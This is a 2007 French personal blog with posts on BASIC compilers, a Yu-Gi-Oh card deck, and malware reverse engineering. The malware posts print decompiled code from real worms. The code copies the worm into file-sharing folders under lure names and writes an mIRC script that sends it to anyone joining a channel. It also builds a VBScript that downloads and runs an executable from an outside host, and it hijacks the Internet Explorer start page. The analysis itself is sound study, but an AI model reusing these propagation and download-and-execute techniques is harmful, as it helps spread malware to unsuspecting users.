Hello World

Ici on trouve de l'actu, des essais sur les technos de l'information, de l'étrange et pas mal de bazard...

Ce blog véhicule des images, quelques videos, des sons, du code et des outils.

Bon surf.

Lundi 24 décembre 2007

Beaucoup de Reverse (principalement de Virus, Spywares et Outils de Hack) et de Code (Power Basic) ces temps-ci.
Ajoutons à ça une pincée de Maths/Crypto ainsi que d'infames bidouilles et il ne reste plus grand temps pour Blogger.
On va profiter des vacances pour publier tout ce qui traine dans ce bon vieux répertoire de travail...

En attendant, et pour continuer l'exploration des compilos BASIC/Win32, en voici deux qui méritent le détour:
Power Basic ( www.powerbasic.com ), le descendant du vénérable Turbo Basic de Borland.
et
Free Basic (  www.freebasic.net ) qui lui se situe dans la lignée directe du non moins vénérable Quick Basic de Microsoft.

En bonus, Deux petites Urls pour touver du Code et des Tutos:

http://www.qbasic.de/
http://www.qbasic.com/forum/local_links.php?catid=1

Et puis hop, puisque c'est la saison, un économiseur d'écran Noel:

http://fr.rbytes.net/cat/desktop/screen-savers-seasonal/3d-christmas-clock-screensaver/

Il est plutot réussi:



A pluche.

Par Franck Balmer - Publié dans : Liens
Ecrire un commentaire - Voir les commentaires - Recommander
Vendredi 20 juillet 2007

La Bete étant écrite en C, ça donne une occasion de s'amuser avec RecStudio.

Le source pseudo-code obtenu est interessant, quelques extraits:

Propagation iMesh

esp = esp - 0xc;
    RegOpenKeyExA(-2147483646, "SOFTWAREiMeshClient", 0, 131097, & Vfffffff4);
    esp = esp - 8;
    RegQueryValueExA(Vfffffff4, "DownloadsLocation", 0, 0, & Vfffff5e8, & Vfffff4e4);
    esp = esp - 0xc;
    RegCloseKey(Vfffffff4);
    esp = esp - 0xc;
    (save) & Vfffff5e8;
    esp = esp + 0x10;
    Vfffffff0 = L004071D0();
    if(Vfffffff0 != 0) {
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%ssasser.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%sMydoom.b Source.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%sSober Source.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%sJalabed Source.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%sJokes.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%sLovsan Source.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%sWorm Writting Tutorial.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
        esp = esp - 4;
        (save) & Vfffff5e8;
        sprintf( & Vfffff6e8, "%sFizzer Source.doc.exe");
        esp = esp - 4;
        CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
    }

Bricolage avec Mirc

L004017F8()
{
 /* unknown */ void  Vfffffbe8;
 CHAR Vfffffce8;
 char  Vfffffde8;
 /* unknown */ void  Vfffffff0;
 struct _IO_FILE * Vfffffff4;

    esp = esp - 4;
    (save)0x100;
    (save) & Vfffffce8;
    GetModuleFileNameA(0);
    esp = esp - 8;
    (save)0x100;
    eax = & Vfffffbe8;
    GetWindowsDirectoryA(eax);
    esp = esp - 4;
    (save) & Vfffffbe8;
    sprintf( & Vfffffde8, "%sLink for new mirc.doc.exe");
    esp = esp - 4;
    CopyFileA( & Vfffffce8, & Vfffffde8, 0);
    esp = esp - 0xc;
    (save)"C:mirc";
    L004071D0();
    esp = esp + 0x10;
    Vfffffff0 = eax;
    if(Vfffffff0 != 0) {
        esp = esp - 8;
        Vfffffff4 = fopen("C:mircscript.ini", "w+");
        esp = esp - 8;
        fprintf(Vfffffff4, "[scritp]n");
        esp = esp - 8;
        fprintf(Vfffffff4, "n0=on 1:JOIN:#:{n");
        esp = esp - 8;
        fprintf(Vfffffff4, "n1= /if ( $nick == $me ) { halt }n");
        esp = esp - 8;
        fprintf(Vfffffff4, "n2= /msg $nick Here you have the link to the new mircn");
        esp = esp - 4;
        (save) & Vfffffde8;
        fprintf(Vfffffff4, "n3= /.dcc send $nick %sn");
        esp = esp - 8;
        fprintf(Vfffffff4, "n4=}");
        esp = esp - 0xc;
        fclose(Vfffffff4);
    }
    return 0;
}

Génération de VBScript

esp = esp - 8;
                        strcpy(ebp + -110056, "echo Dim DataBin >c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo Dim HTTPGET >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo HTTPGET.Open "GET", "
http://webdav.yy.xxxxx.de/wormbykhaled.exe", False >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo HTTPGET.Send >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo DataBin = HTTPGET.ResponseBody >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo Const adTypeBinary=1 >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo Const adSaveCreateOverWrite=2 >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo Dim SendBinary >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo Set SendBinary = CreateObject("ADODB.Stream") >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo SendBinary.Type = adTypeBinary >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo SendBinary.Open >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo SendBinary.Write DataBin >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "echo SendBinary.SaveToFile "c:webdavbykh.exe", adSaveCreateOverWrite >>c:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 8;
                        strcpy(ebp + -110056, "start C:khaled.vbsn");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        esp = esp - 0xc;
                        (save)3;
                        _sleep();
                        esp = esp + 0x10;
                        esp = esp - 8;
                        strcpy(ebp + -110056, "start C:webdavbykh.exen");
                        send( *(ebp - 0x10), ebp + -110056, 10000, 0);
                        *(ebp + -110488) = 0;

Bon, pas eu le temps d'aller plus loin, mais une fois encore RecStudio est magique !

YOP

Par Franck Balmer - Publié dans : Vers, Virus et Malwares
Ecrire un commentaire - Voir les commentaires - Recommander
Vendredi 20 juillet 2007

Pour les combats de cet été, un Deck trés stable, fiable.
Il garantit un flot continu de monstres, le plus souvent sans sacrifices, sous l'oeil malveillant d'Abaki.
Lorsque l'on commence à 2000 points, ça peut faire la différence.

Bien sur, un de ses buts est l'invocation des trois "Grenouilles DES".
Qui attaqueront de préférence aprés l'activation d'un "Coassement DES" ravageur.

Un petit clin d'oeil à deux cartes que j'adore: Lei Lei et Conscription.
Je leur doit plus d'une victoire.

Monstres
Abaki
Lei Lei, Guerrier Indomptable (x3)
Homard Enragé (x3)
Statue-Barrière du Torrent
Statue-Barrière des Abysses
Chasseur de Précision (x3)
Curran Magicienne d'Ebene (x2)
Reine Charmeuse LV3 (x3)
Reine Charmeuse LV5
Guarde du corp de la Reine (x3)
T.A.D.P.O.L.E (x3)
Grenouille DES (x3) (Triple DES :-)
Kabazauls (x2)

Magie
Umiiruka
Coassement DES (x3)
Piege Supprimé

Pieges
Conscription (x3)
Offrande Supréme
Xing Zhen Hu
Energie Ascendante

<End of Deck>

 

Par Franck Balmer - Publié dans : Yugioh
Ecrire un commentaire - Voir les commentaires - Recommander
Vendredi 20 juillet 2007

 

Comparaison du reverse P-Code par deux décompilateurs de la portion de code de Kelvir.T téléchargeant la charge utile du vers.

Premier essai: VBExplorer.

******Possible String Ref To->"http://ww.xx.yy.zz/~wxwarez/test/Service.exe"
                               |
:0040AB77  1B1D00            LitStr              ;Push ptr_0040571C
:0040AB7A  4370FF            FStStrCopy          ;[LOCAL_0090]=SysAllocStringByteLen(Pop, [Pop-4]); SysFreeString Pop
:0040AB7D  0008              LargeBos            ;IDE beginning of line with 08 byte codes
******Possible String Ref To->"c:Service.exe"
                               |
:0040AB7F  1B1E00            LitStr              ;Push ptr_00405798
:0040AB82  436CFF            FStStrCopy          ;[LOCAL_0094]=SysAllocStringByteLen(Pop, [Pop-4]); SysFreeString Pop
:0040AB85  0010              LargeBos            ;IDE beginning of line with 10 byte codes
:0040AB87  046CFF            FLdRfVar            ;Push LOCAL_0094
:0040AB8A  0470FF            FLdRfVar            ;Push LOCAL_0090
**********Reference To-> sub_00409A4C
                               |
:0040AB8D  0B1F000800        ImpAdCallI2         ;Call ptr_00403AEC; check stack 0008; Push EAX

../..

La routine de Download:


[sub_00409A4C]
:004099FC  F500000000        LitI4               ;Push 00000000
:00409A01  F510000000        LitI4               ;Push 00000010
:00409A06  801000            ILdI4               ;Push DWORD [STACK_0010]
:00409A09  0470FF            FLdRfVar            ;Push LOCAL_0090
:00409A0C  34                CStr2Ansi           ;vbaStrToAnsi
:00409A0D  6C70FF            ILdRf               ;Push DWORD [LOCAL_0090]
:00409A10  800C00            ILdI4               ;Push DWORD [STACK_000C]
:00409A13  0474FF            FLdRfVar            ;Push LOCAL_008C
:00409A16  34                CStr2Ansi           ;vbaStrToAnsi
:00409A17  6C74FF            ILdRf               ;Push DWORD [LOCAL_008C]
:00409A1A  F500000000        LitI4               ;Push 00000000
***********Reference To:urlmon.URLDownloadToFileA
                              |
:00409A1F  5E00001400        ImpAdCallI2         ;Call ptr_004057F4; check stack 0014; Push EAX
:00409A24  716CFF            FStR4               ;Pop DWORD [LOCAL_0094]
:00409A27  3C                SetLastSystemError  ;Kernel GetLastError
:00409A28  6C74FF            ILdRf               ;Push DWORD [LOCAL_008C]
:00409A2B  6C0C00            ILdRf               ;Push DWORD [STACK_000C]
:00409A2E  FC58              CStr2Uni            ;vbaStrToUnicode
:00409A30  6C70FF            ILdRf               ;Push DWORD [LOCAL_0090]
:00409A33  6C1000            ILdRf               ;Push DWORD [STACK_0010]
:00409A36  FC58              CStr2Uni            ;vbaStrToUnicode
:00409A38  6C6CFF            ILdRf               ;Push DWORD [LOCAL_0094]
:00409A3B  F500000000        LitI4               ;Push 00000000
:00409A40  C7                EqI4                ;Push (Pop1 == Pop2)
:00409A41  707AFF            FStI2               ;Pop WORD [LOCAL_0086]
:00409A44  32040074FF70FF    FFreeStr            ;Do SysFreeString [arg_n]; [arg_n]=0 0004/2 times ~ arg
:00409A4B  15                ExitProcI2          ;

 

Deuxiéme essai: P32Dasm.

0000AB77:  1B   LitStr: "http://ww.xx.yy.zz/~wxwarez/test/Service.exe"
0000AB7A:  43   FStStrCopy var_90
0000AB7D:  00   LargeBos
0000AB7F:  1B   LitStr: "c:Service.exe"
0000AB82:  43   FStStrCopy var_94
0000AB85:  00   LargeBos
0000AB87:  04   FLdRfVar var_94
0000AB8A:  04   FLdRfVar var_90
0000AB8D:  0B   ImpAdCallI2  modDownloadfile 4.2

 ../..


La routine de Download:

modDownloadfile 4.2  ----
000099FC:  F5   LitI4: 0 0x0
00009A01:  F5   LitI4: 16 0x10
00009A06:  80   ILdI4 param_10
00009A09:  04   FLdRfVar var_90
00009A0C:  34   CStr2Ansi
00009A0D:  6C   ILdRf var_90
00009A10:  80   ILdI4 param_C
00009A13:  04   FLdRfVar var_8C
00009A16:  34   CStr2Ansi
00009A17:  6C   ILdRf var_8C
00009A1A:  F5   LitI4: 0 0x0
00009A1F:  5E   ImpAdCallI4 URLMON.URLDownloadToFileA
00009A24:  71   FStR4 var_94
00009A27:  3C   SetLastSystemError
00009A28:  6C   ILdRf var_8C
00009A2B:  6C   ILdRf param_C
00009A2E:  FC58 CStr2Uni
00009A30:  6C   ILdRf var_90
00009A33:  6C   ILdRf param_10
00009A36:  FC58 CStr2Uni
00009A38:  6C   ILdRf var_94
00009A3B:  F5   LitI4: 0 0x0
00009A40:  C7   EqI4 =
00009A41:  70   FStI2 var_86
00009A44:  32   FFreeStr var_8C var_90
00009A4B:  15   ExitProcI2

Conclusion: Utiliser les deux décompilos pour se faciliter la vie.

On compléte le listing clair de P32Dasm avec les infos de VBExplorer.

 

 

Par Franck Balmer - Publié dans : Vers, Virus et Malwares
Ecrire un commentaire - Voir les commentaires - Recommander
Vendredi 20 juillet 2007

A nouveau un vers écrit en Visual Basic, toujours compilé P-Code et toujours pas trop méchant: Shermnar (Fiche TREND: http://fr.trendmicro-europe.com/enterprise/vinfo/encyclopedia.php?LYstr=VMAINDATA&vNav=1&VName=WORM_SHERMNAR.A&highlight=shermnar ).

Cette fois c'est P32DASM ( http://programmerstools.org/node/127 ) qui va nous livrer les détails de son fonctionnement interne.

Au bout de plusieurs minutes (!!) de traitement sur ma machine-suicide (un K6-200 sous Millenium, quand meme !), voici le désassemblage des portions caractéristiques:

Ajout d'un répertoire partagé Kazaa:

00007F64: 04 FLdRfVar var_DC

00007F67: 3A LitVarStr: ""

00007F6C: FBEF ConcatVar

00007F70: 3A LitVarStr: "fonts^-^"

00007F75: FBEF ConcatVar

00007F79: 3A LitVarStr: "HKCUSoftwareKazaaTransferDlDir1"

00007F7E: 4E FStVarCopyObj var_10C

00007F81: 04 FLdRfVar var_10C

00007F84: 10 ThisVCallHresult

Dans lequel, on place des copies du vers sous des noms "attractifs":

00008205: 3A LitVarStr: "fonts^-^Shakira.exe"

0000820A: FBEF ConcatVar

0000820E: 25 PopAdLdVar

0000820F: 04 FLdRfVar var_AC

00008212: FD9F LdPrVar

00008214: FE98 LateMemCall

0000821A: 32 FFreeStr var_120 var_12C var_128 var_130

00008225: 29 FFreeAd: var_88 var_124

0000822C: 36 FFreeVar var_9C var_10C var_EC

00008235: 04 FLdRfVar var_120

00008238: 04 FLdRfVar var_88

0000823B: 05 ImpAdLdRf

0000823E: 24 NewIfNullPr

00008241: 0D VCallHresult Global.Get_App() As App

00008246: 08 FLdPr var_88

00008249: 0D VCallHresult App.Get_Path()

0000824E: 6C ILdRf var_120

00008251: 1B LitStr: ""

00008254: 2A ConcatStr

00008255: 23 FStStrNoPop var_12C

00008258: 04 FLdRfVar var_128

0000825B: 04 FLdRfVar var_124

0000825E: 05 ImpAdLdRf

00008261: 24 NewIfNullPr

00008264: 0D VCallHresult Global.Get_App() As App

00008269: 08 FLdPr var_124

0000826C: 0D VCallHresult App.Get_EXEName()

00008271: 6C ILdRf var_128

00008274: 2A ConcatStr

00008275: 23 FStStrNoPop var_130

00008278: 1B LitStr: ".exe"

0000827B: 2A ConcatStr

0000827C: 46 CVarStr var_10C

0000827F: 25 PopAdLdVar

00008280: 04 FLdRfVar var_DC

00008283: 3A LitVarStr: ""

00008288: FBEF ConcatVar

0000828C: 3A LitVarStr: "fonts^-^Gladiator-FullDownloader.exe"

00008291: FBEF ConcatVar

00008295: 25 PopAdLdVar

00008296: 04 FLdRfVar var_AC

00008299: FD9F LdPrVar

0000829B: FE98 LateMemCall

000082A1: 32 FFreeStr var_120 var_12C var_128 var_130

000082AC: 29 FFreeAd: var_88 var_124

000082B3: 36 FFreeVar var_9C var_10C var_EC

000082BC: 04 FLdRfVar var_120

000082BF: 04 FLdRfVar var_88

000082C2: 05 ImpAdLdRf

000082C5: 24 NewIfNullPr

000082C8: 0D VCallHresult Global.Get_App() As App

000082CD: 08 FLdPr var_88

000082D0: 0D VCallHresult App.Get_Path()

000082D5: 6C ILdRf var_120

 

Ensuite, on trafique la page de démarrage de IE:

00008C19: loc_00008B77

00008C19: 04 FLdRfVar var_150

00008C1C: 28 LitVarI2: 1 0x1 var_BC

00008C21: FB94 AddVar + var_9C

00008C25: FCF6 FStVar var_150

00008C29: 1E Branch 00008892

00008C2C: loc_0000889D

00008C2C: F5 LitI4: 0 0x0

00008C31: 3A LitVarStr: "start.exe http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe"

00008C36: 4E FStVarCopyObj var_9C

00008C39: 04 FLdRfVar var_9C

00008C3C: 0A ImpAdCallFPR4 Shell()

00008C41: FD6B CVarR8

00008C45: FCF6 FStVar var_1C4

00008C49: 35 FFree1Var var_9C

00008C4C: 3A LitVarStr: "http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe"

00008C51: 4E FStVarCopyObj var_EC

00008C54: 04 FLdRfVar var_EC

00008C57: 3A LitVarStr: "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"

00008C5C: 4E FStVarCopyObj var_9C

00008C5F: 04 FLdRfVar var_9C

00008C62: 10 ThisVCallHresult

00008C67: 36 FFreeVar var_9C var_EC

00008C6E: FCC8 End End

00008C70: 13 ExitProcHresult

 

Par Franck Balmer - Publié dans : Vers, Virus et Malwares
Ecrire un commentaire - Voir les commentaires - Recommander
Créer un blog sur over-blog.com - Contact - C.G.U. - Rémunération en droits d'auteur - Signaler un abus